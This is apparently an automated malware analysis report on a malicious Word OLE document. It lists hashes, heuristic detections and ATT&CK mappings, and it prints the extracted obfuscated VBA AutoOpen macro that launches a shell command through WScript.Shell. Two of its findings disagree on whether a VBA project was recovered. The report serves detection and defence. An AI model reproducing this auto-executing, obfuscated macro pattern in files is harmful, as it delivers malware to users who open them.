Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a4b74e3f8eba5655…

MALICIOUS

Office (OLE)

64.0 KB First seen: 2019-05-31
MD5: 5dc40fab5195508af5fadfa71c5d972e SHA-1: c2bb460a4ae87b3d27c7122f1e78118b2d9ee9bb SHA-256: a4b74e3f8eba5655be265f6b40024ba771b71e9a0eae709e2cf70207b894d0a5
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing a VBA macro. The AutoOpen macro utilizes WScript.Shell to execute a command, indicated by the critical OLE_VBA_SHELL and OLE_VBA_WSCRIPT heuristics. This behavior strongly suggests the macro is designed to download and execute a secondary payload. The embedded URL 'http://schemas.openx' is likely part of this malicious chain.

Heuristics 8

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       Error 19554 * sjqITJ / 83673 * GLudVL
    RiQuNLjv = CreateObject("WScript.Shell").Run(ChrW(8 + 6 + 7 + 4 + 42) + hGDbhNn + pMKwBqF + YJzAntBCW + hqNLz + ZNJizjw + MFUYYiizJu + ZOkwWAJDMS + NwRTDHXHOTOZj + BUCGBLVCnOUii, 122235213 - 122235213)
       Error nwMhrw / EjdtzF
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       Error 19554 * sjqITJ / 83673 * GLudVL
    RiQuNLjv = CreateObject("WScript.Shell").Run(ChrW(8 + 6 + 7 + 4 + 42) + hGDbhNn + pMKwBqF + YJzAntBCW + hqNLz + ZNJizjw + MFUYYiizJu + ZOkwWAJDMS + NwRTDHXHOTOZj + BUCGBLVCnOUii, 122235213 - 122235213)
       Error nwMhrw / EjdtzF
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "DUcAahTi"
    Sub AutoOpen()
    On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 65,559 bytes but its declared streams total only 36,441 bytes — 29,118 bytes (44%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openx In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 678 bytes
SHA-256: 7e90dec8f9b2730c95690e0810d2c8373dbde2152e9dddba6899b38a6773a140
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DUcAahTi"
Sub AutoOpen()
On Error Resume Next
   Error 19554 * sjqITJ / 83673 * GLudVL
RiQuNLjv = CreateObject("WScript.Shell").Run(ChrW(8 + 6 + 7 + 4 + 42) + hGDbhNn + pMKwBqF + YJzAntBCW + hqNLz + ZNJizjw + MFUYYiizJu + ZOkwWAJDMS + NwRTDHXHOTOZj + BUCGBLVCnOUii, 122235213 - 122235213)
   Error nwMhrw / EjdtzF
   Error EYHSt * oNCwD / 50375 * TGfFQW
End Sub


Attribute VB_Name = "hVjmXUfjsT"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True